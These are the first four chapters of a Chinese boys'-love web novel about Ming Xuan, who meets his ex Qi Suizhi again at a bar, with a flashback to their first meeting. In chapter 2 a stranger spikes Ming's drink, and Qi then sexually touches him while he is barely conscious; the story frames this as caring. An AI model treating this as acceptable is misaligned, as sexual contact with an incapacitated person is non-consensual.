《潮热夏雨》 1. 第 1 章 斜风细雨顺着开了一半的车窗洒在明暄的脸上，迷迷蒙蒙，像是一层雾气。 他歪着脑袋靠在冰凉的玻璃窗上眨了眨眼，缓解着水雾入眼的不适感。 手机“叮”的响了一声，明暄摁亮屏幕。 【到哪了？】 【Life52桌，别找错了啊】 明暄曲起指节，划去了蒙在屏幕上的水珠，兴致缺缺地给对方回复了一个“好”，复而又靠在了车窗上。 “啧，别开窗啊，冷气全跑出去了，雨也飘进来了。” 司机有些埋怨的声音在前方响起。 “啊，”明暄坐直了身子，抬手关了后排的车窗，“抱歉。” 司机瞧了一眼后视镜，坐在后座的男人发丝沾了雨水，经由街边的霓虹灯一照，看上去斑驳陆离。 兴许是知道自己的语气有些不好，但乘客却很有礼貌，司机有些悻悻地开口：“要是晕车的话可以开一个缝，别开太大就行，还有三五分钟就到了。” 车已经驶进了酒吧一条街，街边闪烁的灯牌旁站着举着伞的三五成群的精致男孩儿女孩儿们，每个人的脸上都带着喜悦。 明暄轻轻摇了摇头：“不晕车。” “看你一副不感兴趣的样子，不得不去的应酬啊？”司机侧过头闲问了一句。 “算不上。” 不得不去的应酬算不上，但不感兴趣是真的。 如果不是大学室友一次又一次的邀请实在无法推诿，明暄应该不会再踏入这片街道。 出租车司机都是人精，看出来坐在后座的人没太大想要闲聊的想法后，索性闭了嘴收回视线专心开车。 车趋近平稳，明暄小幅度地往前倾了身子，拿出手机扫了码付了钱后，道了声谢便推开了车门。 夏天的夜里即使下雨也依旧带着潮热的气息，又闷又湿，像陷入了一片沼泽。 Life门口排着一条不太长的队，明暄踩着台阶，站在了队伍最后方。 “等会你们起起哄让我坐在他旁边啊，能不能成就看这一次了，我好不容易约他出来的呢！” 站在他前面的女孩儿化着精致的妆，穿着漂亮的小裙子，娇俏地和身边的同伴嬉闹。 “知道了知道了，你已经强调八百遍了，等会玩游戏的时候你俩肯定一对儿。” 明暄听着她们的对话，没忍住勾起了嘴角。 都这么多年了，怎么现在人与人之间拉近距离还是靠着这一套？ 凑一桌朋友，和心仪的人坐一张沙发上，肩靠着肩腿贴着腿，玩暧昧的小游戏，周围人起哄。 然后牵个手接个吻谈个恋爱。 不可避免的，明暄想起了从前。 他绷紧了微微扬起的嘴唇，眉头也拧了起来。 不过好在队伍前进的很快，在他的情绪还没完全下沉时，已经排到了他。 “身份证出示一下。”站在面前穿着酒吧工作服的人冲他伸出了手。 明暄回了神，偏着头有些迷惑地“嗯？”了一声。 工作人员勾了勾指节：“身份证。” 明暄想起来了。 每到暑假的时候都是酒吧查身份证最严的时候，因为有太多临近成年的高中生浑水摸鱼。 那会儿每每一群人去酒吧玩儿，都只有明暄因为一张显小的脸一个人被拦下来查身份证，但没想到都这么多年了…… 他还能被误认为未成年。 明暄叹了口气，从裤子口袋里掏出身份证递给了工作人员。 工作人员举着他的身份证看一眼照片看一眼明暄，再看一眼照片。 “进去吧。” 身份证被递了回来，明暄接过后放进口袋里时，还听见了工作人员的一声嘀咕。 “排队的时候紧张成这样，还以为未成年。” 明暄垂下眼眸，推开进场的玻璃门。 震耳欲聋的音乐声混着细密的鼓点，一下一下，像敲在人心口上，让人心跳加快，有些喘不过气。 Life的布局基本没变，明暄甚至不需要问酒保就知道52号桌在哪儿。 到时，卡座里的几个人正在热火朝天地玩着骰子，喊到十三个六摘的时候，先前给他发消息问他到哪儿了的靳亚从沙发上跳了起来：“开！！” 所有人的六加起来也只有九个，靳亚挑着眉让人喝酒时，看见了站在一旁的明暄。 “哎我操，明暄你总算来了，我们都玩几轮了。”靳亚推了推旁边的人，往里面挤了挤，给明暄腾出了一个位置，熟稔地拿了个酒杯满上了一杯放在明暄的面前，“感觉何征还没开始喝就已经懵了，六个人玩他还敢叫十三个摘。” 明暄坐在靳亚旁边，将手机倒扣在桌面上：“他要是豹子这么喊也行。” “他豹子个屁，他自己就仨六。”靳亚耸了耸肩膀，“你怎么这么晚？” “出门晚了。”明暄拿过面前的酒抿了一口，“刚在门口还被查身份证。” 说这话的时候正好在酒吧音乐的结束段，他这句“查身份证”落进了卡座里每个人的耳中，所有人都不约而同地笑了出声。 “还得是你。”何征站起身拿了一瓶开了的冰啤，“读书那会儿你就被查，现在都毕业这么久了你还被查。” 说完后，何征举着酒瓶碰了碰明暄手上的杯子：“好久不见。” 明暄笑了笑，一仰头，将杯子里的酒尽数喝掉，何征则是站在他对面直接吹了一整瓶。 “你们输了直接吹瓶啊，玩这么大？”明暄舔了舔嘴角的酒沫，偏过头问道。 “怎么可能。”靳亚摆了摆手，“何征逃两轮了都，这会儿补上的。” 灯光明明灭灭，明暄点了点头，抬手从一旁的架子上抽出了一个骰盅，将里面的五粒骰子倒在掌心，抽了纸巾细细擦干净后，咕咕咚咚地倒回了骰盅里。 他握着骰盅晃了晃，反手倒扣在桌面上，掀开骰盅的指节在闪烁的灯光下白的刺眼。 明暄是会玩骰子的，摇到一手好数字时会狡黠地忽悠别人喊，摇到一手烂子儿时也能面不改色的骗。 但那毕竟是从前，明暄已经好几年没碰过骰子了。 不出意外地，第一局就直接被跳开了。 明暄叹了口气，拿过酒瓶给自己满了一杯。 “欸明暄，你什么时候回来的啊？”开他的人撑着膝盖凑到他面前问。 “两个月前吧。”明暄说。 “靠，当时一声不吭地出国，现在回来俩月才跟兄弟们见面，你也太不够意思了吧？”何征闻言皱起了眉头。 “我的。”明暄无奈地笑了笑，认命地拿起了杯子，“自罚三杯。” “你回来那个谁知道吗？”何征又问。 这个问题问的含糊不清，明暄却心里明了，“那个谁”是谁。 “别问了吧？”明暄叹了口气，“都分手多久了。” “你是真喝多了嘴上没个把门的。”靳亚抬手对着何征的脑袋拍了一下。 “没事儿。”明暄垂眸，握着酒杯一小口一小口慢慢地抿，“没关系了。” “接着玩接着玩！” 不知道是运气不好还是真的和夏季雨天犯冲，摇这么久的骰子，没有一把手上的数好喊，一轮接着一轮的输。 明暄握着酒杯的手微微有些发颤，白皙的脸颊上也晕染了大片绯色，看上去有些淫.靡艳丽。 “换个玩法？”靳亚适时地拦下了他拿着酒杯的手，“喊你出来碰面也没想着给你灌醉。” “嗯？”明暄歪着头，勾着唇角挑眉看他。 纵使靳亚是个比灯杆儿还直的铁直男，但在喝了不少酒的情况下，看到明暄红着眼尾似笑非笑地抬头看他时，依旧心跳一瞬，他突然觉得理解了为什么以前学校里会有那么多的男人喜欢上明暄。 “反正你也单身，随便指一桌你去加个微信回来，这个酒就不喝了。”靳亚清了清嗓子，抬起头环视了一圈，随手指了一个男人的背影，“要么就那个吧？” “老土的大冒险。”明暄握着罪魁祸首的骰子把玩。 不过他确实不太想喝了，他的酒量早就不如从前了，这才多少下肚，他就已经有了微醺的晕眩感了。 “玩不玩吧就？晚上回家再删了就行。” 明暄挑了挑眉，放下酒杯拿起手机，撑着沙发靠椅站了起身，慢慢地走向了靳亚指着的那个男人。 那一桌靠近角落，却没真的卡在角落里，还处于灯光能够闪到的地方。 “你好。”明暄站在那人的沙发后，曲起指节敲了敲他的沙发靠椅。 男人回过了头。 作为一个有着自己审美的人，面前的男人属实有些背影杀手了。 “什么事儿？” 声音也不好听。 明暄这会儿才后知后觉地想起来，Life根本不是gay吧，他一个男人在这里找另一个男人要微信，看起来好像有些不太对劲。 他偏过头，想着自己该怎么接这句话。 “我……” 视线里出现了意想不到的人。 满脸漠色的男人坐在角落的卡座里，手上端着喝了半杯的酒，在暗色下直视他的眼睛。 明暄看到他上翘的嘴角，好似嘲讽。 “找我有事吗？”背影杀手懒散地仰头看着明暄开口。 明暄视线里的人放下酒杯站了起来，朝着他的方向走了过来。 灯光短暂地闪到他的脸上，将他眼底错综复杂的情绪暴露在外。 “祁随之……” 祁随之走到他的身边停了下来，开口道。 “让让。” 2. 第 2 章 祁随之站在他的面前，暗色中一双眼淡漠至极。 明暄微仰着头看着他，那点儿上头的酒精好似被这一眼冲散了，整个人都清醒了不少。 “好……” 僵硬的寒暄刚开了个头，就被身前的人打断了—— “我说，让一让。” 明暄慌乱地往后退了一步，却不料脚跟磕在台阶上，踉跄地往后仰。 背影杀手适时地扶住了明暄的肩膀，别有用心似的捏了捏他的肩胛骨：“没事吧？” 祁随之好似看不见明暄的狼狈，眼神从他身上挪开，分寸不留，侧了侧身径直往前走了。 明暄撑着沙发靠背站直了身子，垂着眼眸看着祁随之离开的方向，轻声呢喃：“对不起。” “嗯？这才多大点事儿啊。”背影杀手以为明暄这句对不起是在向他道歉，毫不在意的开口，“你长得很漂亮，是要来认识认识我？” 明暄脑子里一团乱，嘈杂的环境里根本没听清他在说什么，囫囵点了头，攥着手机回到了原本的位置上。 “明暄？”靳亚看着明暄魂不守舍的样子，抬手在他的面前晃了晃，“怎么了？” “没事。”明暄轻蹙着眉摇头，拿过桌上的酒在桌沿撬开，锋利的瓶盖划过指尖，带来刺痛感和沾在指尖的白色酒沫，“没要到，我喝酒吧。” 明暄拿起酒瓶，仰头灌了一大口，酒液顺着唇角下滑，划过喉结，沾湿了白色的衣领。 “一男的去加另一个男的微信是挺怪的，没要到也正常，又不是人人都是祁随之。”坐在明暄对面的人明显喝的有些多，红着脸大着舌头说道。 明暄闭了闭眼，脑子里闪过祁随之刚刚的神态，点了点头：“啊，是。” 又不是人人都是祁随之。 靳亚没好气地“啧”了一声，赶忙转移话题：“聊点别的？明暄你回国准备做什么？工作找了吗？” “没。”明暄摇了摇头，“不急。” “也是，先好好玩会儿。”靳亚说，“接着玩儿？” 后面的游戏明暄没再参与，他仰靠在沙发上一只手拿着酒杯，另一只手用指甲毫不留情地抠自己的手背。 直到泛红、直到破开。 在酒醉的混沌和疼痛的清醒中反复。 手机上的时间已经跳到了凌晨三点，原本人满为患的酒吧里，也只剩下了零星几桌人还在随着音乐摇头晃脑。 “你现在住哪？给你叫个车？”靳亚扛着已经喝到睡着的醉鬼，有些艰难地跟明暄说，“这傻逼喝太多了，我可能得先把他送走。” “我自己叫就好。”明暄说话的声音有些慢，“我没喝多，你送他们走就行。” 靳亚似乎不太相信，伸出手指在明暄眼前比了个数：“真没喝多？这是几？” 明暄抿着唇，有些无语地看着靳亚。 “行，知道你没喝多了，到家给我说一声。”靳亚说，“过几天出来吃个饭吧。” 明暄没接收也没拒绝：“再看吧。” 一桌人零零散散地离开，到最后只剩下了明暄和何征两个人。 “暄儿啊，跟哥说句实话，你当时到底为什么突然出国了？”何征晃晃悠悠地走到明暄面前，靠着桌子蹲了下来。 明暄闭上了眼。 回忆占据了整个大脑。 【暄暄，你在哪呢？】 【我很担心你宝贝，你回我个消息好不好？】 【我很想你，接我电话，求你了】 【明暄，我恨你】 “为什么呢……”明暄睫毛轻颤，“没有意义了祁随之。” 何征皱了皱眉想说些什么，一阵反胃感突然上涌。 “靠不行我得去吐一会儿。” 话音落下何征就捂着胃跌跌撞撞朝着厕所方向跑了。 偌大的卡座里只剩下了明暄一个人。 明暄倒干净了酒瓶里最后一点儿酒，往后靠着小口地抿。 酒吧总喜欢在深夜搞深情，吵闹的背景音消散，变成了感伤的苦情歌。 [想见却还在等的人不太多] [连起来也让人心碎碎成河]* 眼前闪烁的光线被人影遮住，明暄下意识地抬眼。 “帅哥，你刚刚走太急了，有兴趣喝一杯吗？”背影杀手拿了一杯斟满的酒递在了明暄的面前，居高临下地冲他挑眉。 “不了。”明暄收回视线，缓缓摇头。 酒杯离开过视线就重新换一个杯子，不喝陌生人递的酒，这个道理他比谁都更清楚。 “别这样啊，都是出来玩的，给个面子喝一杯啊。”背影杀手有些强硬地掰下了明暄握着的酒杯，强行把那一杯斟满的酒塞进了他的手中，晃荡中剔透的酒液撒了小半在明暄的裤腿上，薄薄的裤子贴上了大腿，勾勒出好看的轮廓，“你是同类吧？跟我一起玩？” 这人自来熟地揽着明暄的肩膀，贴着坐在了他的身侧，指尖若即若离地触碰着明暄的膝盖。 明暄一个激灵，把手中的酒杯放在桌上，逃似的站了起身。 背影杀手皱着眉头，看向明暄的表情逐渐变得冰冷：“别给脸不要脸啊。” 无妄之灾。 明暄从没碰到过这种事情，从前有祁随之护在身边，他想怎么玩怎么闹都会有祁随之给他兜底，再之后他便很久没再踏入过酒吧的大门。 眼见着这人伸出手就要去扯明暄的手腕，还没来得及后退，他就被人以一种保护的姿态揽到了身后。 “滚。” 明暄猛地抬头，祁随之半张脸在灯光下，另一半隐没在阴影中。 祁随之眼神一片清明，毫无醉意，露出的胳膊覆着一层薄肌，看着就不好惹。 背影杀手看看祁随之，又看了一眼明暄，嗤笑了一声。 “有男人还出来勾搭我，算他妈老子倒霉。” 等到这人彻底消失在两人面前，祁随之往前走了两步，转过身看着面前的明暄。 明暄曲起指节，平整的指甲嵌入手心，他颤着声开口：“谢谢。” 祁随之疏离地点头：“不客气。” 语闭，祁随之双手插兜准备离开。 “等一下——”明暄慌乱地拉了一下祁随之的衣角，“等一下。” “有话要说？”祁随之好脾气地站定。 明暄点点头：“我想，跟你道个歉，对……” “没必要了，明暄。”祁随之拍开明暄牵着他衣角的那只手，“我不在乎。” 祁随之的手心是热的，即使只是拍开的这么一个动作，明暄也明确地感受到了他的体温。 他紧紧闭了闭眼，拿过摆在桌面上的酒一饮而尽：“给你赔罪，对不起。” 一大杯洋酒灌下去，明暄一只手捂着胃，皱着眉弓起身子。 祁随之下意识地搭了手想拍拍他的背，却又强行停下了动作，大手落在了半空中，他的视线落在了明暄手上的空杯子上。 不是他们这一桌的酒，是刚刚那个人带来强行塞进明暄手里的。 “对不起。”明暄的眼尾泛红，还蒙着一层水光，“对不起。” 祁随之见不得他这个样子。 这么久了，他妈的何征怎么还没有吐完。 祁随之看着明暄的眼神肉眼可见地开始迷离，叹了口气：“住哪？送你回去。” 洋酒的后劲本来就大，在这之前明暄还喝了其他的酒，混着酒喝太容易醉了。 明暄听不清祁随之说的话，只是下意识地抬手去抓他的手臂，呢呢喃喃地说对不起，说你恨我吧。 何征挂着满脸水珠从厕所出来的时候，瞧见的就是明暄拽着一个人的手腕，乖乖跟在人背后往外走的场景。 嘿？ “热。”出租车上，明暄皱着眉，额头抵在前座靠椅上，指尖还在四处摸索，“祁随之，我不舒服。” “吐车上二百啊。”司机通过后视镜看着后面的明暄，毫不留情地开口。 明暄的侧脸绯红，一直蔓延到锁骨，藏进领子里，看上去脆弱不堪。 祁随之碰了碰明暄的指尖，一触即离，转过头对司机说。 “找个最近的酒店吧。” 那一杯端来的不怀好意的酒明显是加过东西的，祁随之拿出身份证订房间的时候，明暄就毫无意识地一个劲儿地往他身上贴，小声说难受。 前台小姐姐看祁随之的目光都带上了一丝鄙夷。 “明暄，能自己走吗？”祁随之收回自己的身份证和房卡，握住明暄纤细的手腕，低下头看他。 明暄浑浑噩噩地点头。 祁随之牵着意识不清的他，很有耐心地一步一步慢慢走，直到进了房间。 明暄沾着床就闭上了眼睛，眉头还是皱着的。 祁随之走进浴室，草草洗了个澡出来时—— 明暄的衣服落了满地，两条长腿夹着枕头，一边小声哼哼唧唧，一边无意识地边蹭边动手。 祁随之走到床边，站定着看着明暄的动作。 “明暄。” 明暄夹着枕头悉悉索索地翻了个身，他睁开眼睛，迷离地看着祁随之，伸出手去碰祁随之的指尖，委屈地开口。 “出不来，你帮帮我……” 香艳的景色落进祁随之的眼中，惹得他有些生气。 如果不是他今天恰好在这个酒吧，恰好替明暄解了围，那现在这样的明暄会躺在谁的床上？又会在谁的身下？ 祁随之手上的动作带着点儿狠劲，明暄皱着眉，双手攀上祁随之的肩膀，低吟声似是痛苦，也似是欢愉。 祁随之面无表情地看着明暄的媚.态，在明暄想要亲上来的时候后仰躲开，听着明暄不满地、带着哭腔的声音，直到他累到睡着。 用温水浸了毛巾替明暄擦干净，把人塞进被子后，祁随之又一次走进了浴室。 带着一身凉气出来后，祁随之蹲在床边，看着明暄的睡颜。 指尖触及他纤长的睫毛上，划过高耸的鼻梁，落在柔软的唇上。 祁随之很轻、很轻地凑上去，亲了亲明暄，一触即离。 站起身，替明暄掖了掖被子，祁随之拿着手机坐在了一旁的沙发上。 明暄醒来的时候，体感不太对，他皱着眉在房间里打量了一圈，看到了撑着脑袋在一旁的祁随之。 “昨天……”喉咙像被火烧过一样地不适，明暄咳了两声，掀开被子看着自己光裸的腿，哑着嗓子开口，“我喝醉了……” “嗯。”祁随之将手机熄屏放回口袋。 糟糕的重逢。 明暄叹了口气。 “好久不见，祁随之。” “好久不见。”祁随之整理了一下自己的腕带，站起身走到门口，拉开房门，“明暄，别再见了。” 3. 第 3 章 夏夜蝉鸣，明暄塞着耳机挎着包背着画板，跟着音乐的旋律时不时地晃晃头。 画笔相碰的叮叮当当声和风吹绿叶的声音相融合。 耳机里的音乐声被“叮”地一声打断，明暄将挎包调了个位置，从口袋里掏出手机。 【靳亚：@明暄】 【靳亚：还没回？】 【靳亚：去天上画神仙了？】 明暄给音乐播放器摁下了暂停，点开语音条的同时，抬眼看向了马路对面的24小时便利店。 “回来的路上了，有点儿饿，我顺道买点吃的，你们要吃什么吗？” 语音发送，明暄推开便利店的玻璃门，踩着“欢迎光临”走了进去。 熟稔地走到最里面，拿了一盒草莓牛奶和一个金枪鱼饭团。 【何征：关东煮能带么？有点馋】 【何征：算了别给我带，我要带着饥饿入睡】 【宋秉兼：……无语】 【靳亚：何征要是跟明暄一样吃不胖那估计家底都要被掏空】 【靳亚：@明暄，你回来的时候菜鸟驿站没关门的话帮我取个快递？】 明暄回了个“好”之后，拿着手上的东西走到了收银台：“饭团帮我热一下，谢谢。” 付过帐后，明暄捧着草莓牛奶乖乖地等着自己的饭团。 一阵引擎声在便利店门口戛然而止，玻璃门被推开带上了一阵风，在“欢迎光临”声中，明暄的衣袖贴上了手臂。 明暄的旁边站了个咋咋呼呼的人，这人手上抱着一个骚气的橘红色头盔，凌乱的头发汗湿成一缕一缕的。 “两包紫光，再拿两个打火机。” 明暄握着自己的草莓牛奶不动声色的往旁边挪了挪，与这一群人拉开了小段距离。 “想起来我就觉得爽，那傻逼还想别随之的车，偷鸡不成蚀把米摔成那个逼样子，我差点当场笑出声。”搂着头盔的人接过服务生递给他的烟和火机，习惯性地“啪嗒”一下摁开了打火机。 “又不是什么正儿八经的比赛还玩起了脏的，这要是跑山能直接给他摔个尸骨无存。” 明暄听着他们谈话的内容，侧过身又往旁边跨了一步，视线落在了面前的货架上。 极致火热，畅爽非凡。 …… 就无语。 “别说这么吓人，看给人小孩儿吓的。”声音有些沉，带着些笑意，明暄下意识地看向声音传来的方向。 男人比他高大半个头，黑色的骑行服描着绿色的边，同配色的头盔勾在指尖，头发被指尖往后勾，露出光洁的额头。 长相是他的菜，可惜是个不要命的。 兴许是察觉到了明暄的视线，他偏了偏头，看了明暄一眼，同时看到了像小学生一样捧着粉色的牛奶盒。 明暄错开视线，既不想盯着玩摩托的人看，也不想看面前的避.孕.套，往里一转头，只给旁边的人露出了一个后脑勺。 “您的饭团。” 明暄接过饭团，道了声谢后，后撤了一大步。 胳膊肘擦过黑色的骑行服，推开门走了出去。 不太聪明的感应还在重复着“欢迎光临”。 走出便利店好几步路，明暄拆开饭团的塑料包装扔进垃圾桶，回过头看了一眼。 刚刚在店里的那群人这会儿正倚在酷炫的机车旁边聊天边抽烟。 明暄加快速度往前走了两步，咽下一口饭团后打开微信，在寝室群里发了条语音：“我看到了个长在我审美点上的男人。” 【何征：嗯？？？】 【何征：这不要个微信？】 【靳亚：勇敢明暄向前冲？】 看到靳亚的消息，明暄没忍住弯了弯嘴角。 【明暄：哈哈哈哈哈哈算了算了，没要到可丢人】 【靳亚：那赶紧回，被宿管关门口更丢人】 看了一眼时间，明暄觉得靳亚说的十分有道理，加快了脚步的同时，也加快了吃饭团的动作。 从这条街到学校有一条不算很长的近路。 近路不算小，但却没什么人走。 明暄歪着脑袋揉了揉自己发酸的肩膀，点开音乐播放器，迈着腿走进了这条人烟稀疏的小道里。 走到一半的时候，明暄的肩膀被人拍了一下。 “嗯？”明暄有些茫然地回头。 身后四五个人，或靠着墙或抱着臂站着，视线全都落在了他的身上。 “小孩儿，哥几个最近……”拍他肩膀的人没把话说完，只是伸出手，三根指头并在一起捻了捻，做了个数钱的动作，“懂我意思吧？” 明暄微微偏过头摘下半边耳机，一只手还拿着那盒牛奶。 “不好意思我刚没听见。” 混混被这意料外的情形整不会了，怔了好一会儿才开口：“看你衣服都是名牌啊，哥几个最近手头有点紧。” 明暄了然了。 冲着他来的。 “等会儿啊，我肩膀有点酸。”明暄不紧不慢地将背上的画架取下来，换了个方向重新背了上去，复而将视线落在了这小混混的脸上，十分有礼貌地直视着他开口，“你要多少？” 混混估计也没见过被勒索还这么淡定的人，一时间有些发懵。 “有多少给他妈多少！”倚着墙站着的混混迈开步子走到了他的身边，恶狠狠地开口。 明暄偏过头看了他一眼。 一头黄毛，紧身衣破洞裤fake鞋。 什么破穿搭，真难看。 明暄“哦”了一声，不紧不慢地从口袋里掏出钱包。 他有往身上带现金的习惯，钱包掏出来不算空瘪。 黄毛还没等他打开钱包便上手抢了过去。 “身份证和校园卡好歹还我吧。”明暄叹了口气，无辜地摊了摊手，于此同时，视线在其他几个人的脸上掠过。 “牌子货啊。”黄毛拿着明暄的钱包左看看又看看，打开钱包，看见了一小叠现金和几张卡。 黄毛把明暄的身份证和校园卡从钱包里抽出来，放在眼前看了两眼。 “S大美术学院。”黄毛嗤了一声，把身份证和校园卡扔到明暄身上，“破画画的啊。” “啊。”明暄点点头，“我能走了吗？要门禁了。” “谁准你走了啊？”黄毛把钱包揣进口袋里，“手机，手机拿来。” 明暄“哦”了一声，从口袋里掏出手机。 手机还没递出去，轮胎摩擦地面的声音混着引擎声传进了小道里所有人的耳中，晃亮的车灯照在他们身上。 前胎翘起，声音疾停，来人停在了他们的身边。 勒索的人全都转过了头，和被勒索的明暄一起看向来人。 祁随之的摩托车和他的骑行服头盔是同款配色，他只露出了一双眼，偏过头看向往外递手机神色自若的明暄。 祁随之摘下头盔，露出好看的一张脸，单腿撑着地，朝着明暄伸出了手：“上来。” 有那么一瞬间，明暄怀疑这人跟这一伙人是一伙儿的，勒索还绑架。 但很快明暄就打消了这个念头。 以面前这人的审美应该不至于和这种精神小伙一起玩儿。 明暄“哦”了一声，点点头垫起脚跨坐在了摩托车后。 这辆车设计出来好像就没打算让它坐下两个人，明暄觉得自己的半个屁股都是悬空的。 “那个，你能往前坐坐吗，我感觉我会掉下去。”明暄有些无奈地开口。 祁随之闷笑了一声，将头盔递给明暄，往前挤了一些：“戴上。” “好。”明暄点点头，虽然还有小半个屁股悬在外面，但总比刚刚好很多。 这俩人旁若无人的互动看的这群混混一脸迷茫，反应过来后，面露凶色看着车后座的明暄：“谁让你走了？” 明暄戴着头盔，只能透过透明挡风板看着面前的人五官扭在一起说些什么，却听不清那人到底在说什么。 他勾着头盔的边边扯了个缝，偏过头看着黄毛：“啊？我没听清。” 祁随之实在是没忍住笑出了声。 这一声笑更让人气不打一处来，黄毛上前两步扯住了明暄的挎包。 “你如果不放手，我的车速足够让你在地面上拖行致死。”祁随之的眼底笑意还没褪去，看着黄毛懒散地说到。 黄毛用力紧攥着明暄的挎包带子：“那你看他会不会被我拽下来！” 明暄听清了他们的对话。 他一只手抓住了祁随之的骑行服，另一只拿着草莓牛奶的手干脆地将挎包袋子往下一扯，而后拍了拍祁随之的腰：“可以走了。” 祁随之挑了挑眉，伸出手握住明暄的手，将他往前带，环住了自己的腰。 “抓紧。” 哄地一声—— 黄毛拎着挎包一脸不可思议地跌坐在地上，感觉自己的混混生涯受到了阻碍。 这是明暄第一次坐摩托车，还是以半个屁股悬空的姿态。 祁随之伏在车上，夜风吹向明暄，将他的衣服吹得紧贴在身上。 明暄深呼了一口气，抓着祁随之骑行服的手无意识地紧攥。 刚刚被一群人堵在小巷里他都没有紧张，这会儿仅仅是坐在摩托车后加速前进就让他心跳加快了。 车骑出这条小道后，祁随之就慢慢降了速。 “硌着我了。” 祁随之的声音被风吹的有些散，但明暄却听了个完整。 明暄微微张着嘴：“啊？” 他又没起反应，什么硌着他了？ “你的草莓奶。”祁随之说，“硌着我肚子了。” 明暄这才反应过来，赶忙把草莓牛奶换了个位置，平整的底面贴着祁随之微微发热的小腹。 “还没说你到哪。”祁随之问。 “S大。”明暄说，“谢谢。” “还以为你是高中生。” 这条小道离S大本就不远，没一会儿车就停在了学校大门口。 明暄从摩托上下来，规规矩矩地站在原地解开头盔。 祁随之的头发被风吹散，跨坐在车上偏过头看着明暄拆头盔的动作。 “他们拿你什么了？”祁随之接过头盔问道。 “钱包，还有一点钱。”明暄说。 “那个包里有什么贵重物品吗？” 明暄摇摇头：“画具颜料之类的。” 祁随之点了点头，没再问其他的。 一个人独行在小巷里，明暄的做法其实是正确的。 “你知道我在那里吗？”明暄握着他的草莓牛奶有一搭没一搭地捏着纸盒的边边。 “你从便利店出去他们就跟着你了。”祁随之说，“下次自己注意一点。” “谢谢你。”明暄说。 “再捏就捏破了。”祁随之看着他说，“想报警吗？不过那里面可没有摄像头。” “本来也打算报警啊。”明暄耸了耸肩膀，“有没有摄像头不要紧，我记得他们长什么样，可以画出来，他们还挺熟练的，应该有案底吧。” “还挺聪明。”祁随之笑了笑，曲起指节点了一下车头的一块儿摄像头，“不过不用麻烦，我车装了gopro，拍下来了。” 明暄看着祁随之的笑容，刚刚在车后座那种心跳的感觉又扬了上来。 两个人沉默了片刻。 “加个微信吧？方便的话可以把视频传给我。”明暄率先打破了这片沉默，他拿出手机打开自己的二维码对着祁随之，“今天谢谢你了。” 祁随之挑了挑眉，拿出手机扫了明暄的微信。 [随请求添加您为好友] [我是祁随之] “祁随之？”明暄轻声念道。 祁随之看了一眼时间，将头盔戴好，传出来的声音有些朦胧。 “嗯，是我。” 4. 第 4 章 走到宿舍门口时，虽然还没到门禁时间，但明暄没能进去。 从口袋里只掏出来了自己的身份证，和身份证放在一起的校园卡无影无踪。 宿舍楼刷不了卡就开不了门，明暄只好给靳亚打了个电话，让他下来捞捞。 靳亚下楼捞人的时候，透过紧锁的玻璃门，无情地看着明暄笑了好一会儿才掏出校园卡“滴”了一下，把人接了进来。 “你没带卡白天跟着混出去的么？”靳亚攥着校园卡抱臂看着明暄。 校园卡他是从混混手上拿回来了的，这会儿不在兜里，那肯定是在祁随之的车上时不小心弄丢了。 还得补办。 明暄叹了口气：“说来话长了。” “那回去慢慢说。”靳亚说着，看了一眼明暄，“我快递你帮我拿了么？” 刚刚那摩托坐的仿佛把记忆吹飞了，明暄把这件事忘得干干净净。 明暄摇头，摇得理直气壮：“没。” 靳亚无语地看了他一眼，加快了脚步推开了宿舍门。 走进宿舍后，明暄把画板放到一边儿，整理了一下吊椅的绳子，盘着腿坐了上去，挤开了那一盒草莓奶，戳进吸管有一下没一下地慢慢吸。 “说来话长，说吧。”靳亚拉着椅子靠背，在地上拖了一段距离，听在了明暄的吊椅旁，翘着腿坐了下来。 明暄用膝盖顶着桌沿，靠在吊椅上一晃一晃地，把今天在小巷里被人勒索的事儿简述了一下。 靳亚拧着眉毛，靠近明暄直视着他：“挨揍了没？” “我都听话成那样了还揍我是不是有点不讲道理啊？”明暄嘬完了最后一口牛奶，舔了舔唇道。 “谁知道呢，咱也没跟混混讲过道理啊。”靳亚说，“那条路以后还是别走了，有第一回肯定就有第二回，谁知道下次还会不会有人在那里堵你。” “嗯啊。”明暄点点头，“打算明天抽空去报个警。” “那条路没摄像头，报警都麻烦。”何征摘下耳机挂在脖子上，翘着椅子仰着头看他，“不过我家有点关系，麻烦也没事儿，你记得那些人的样子吗？” 就好像能听到他们对话一样，明暄的手机适时地响了两声。 是祁随之发来的一段gopro拍下的视频，还有一张照片。 祁随之捏着他的校园卡边缘拍的。 明暄先点开大图看了一眼那张校园卡。 或者说是，点卡大图看了一眼拿着校园卡的这只手。 骑车的时候祁随之穿着骑行服戴着手套，即使是在夏夜里也把自己包裹地严严实实，而这会儿摘下手套明暄才发现，祁随之好看的地方不仅仅是他的脸。 他的手很白，手指很长，被校园卡卡住的指腹能看见不甚明显的一层薄茧，在靠近手腕的部分有一个只露出了一小部分的纹身。 明暄喜欢漂亮的手。 “这不是你校园卡么？”靳亚凑过脑袋看明暄的屏幕，一脸不可置信地望着明暄，“你还跟混混互相留了联系方式？” “你怎么不猜我被混混拍了裸.照威胁，得每个月按时给他们打钱啊？”明暄退出照片，给祁随之回了一句“谢谢”。 靳亚闻言作势捏着下巴，像审视物件似的把明暄从头看到脚：“你这么漂亮，也不是完全没有可能哈？” 寝室里开玩笑大伙儿都没什么分寸，明暄也不会因为这个真的生气。 于是明暄跳下吊椅给了靳亚一脚。 “我在便利店不是说我看到一个很符合我审美的男人么。”明暄说，“校园卡是他捡到的。” 这话一出，何征和宋秉兼的兴趣瞬间就来了—— 他们一个宿舍四个人都是画画的，艺术生的包容性在他们身上体现的良好到过头。 在得知明暄喜欢男人时，三个室友就致力于让明暄在大学谈上恋爱。 可惜一直没成。 “一开始还说没要别人微信，这会儿消息都发上了？” “还这么阴差阳错地捡到了你的校园卡然后发给了你？” “戏剧一点的话他明天亲自给你送来学校，顺带碰你去趟警察局，回来的路上下个雨，你们同撑一把伞，肩靠着肩手抵着手你看着他他看着你——” “啊对对对，我今天还是被他解的围送回的学校，照你这个情形的话，我明天就得去找他以身相许非他不嫁。”明暄从桌面上拿起一支还没削的铅笔，扔向了说话的何征，“要么你也别学油画了，改行去画少女漫好了。” 何征接过铅笔打开抽屉塞了进去：“你还别说，我还真把我和我女朋友的日常画成过小条漫。” “改行吧何征，你适合这个。” 明暄真诚地开口，打开衣柜收拾了换洗衣物走进了浴室。 等到洗完澡出来后，明暄拿着手机爬上床，靠着墙打开了微信。 和祁随之的对话停留在了那一句“谢谢”上，祁随之没再回复。 明暄点开了祁随之的朋友圈。 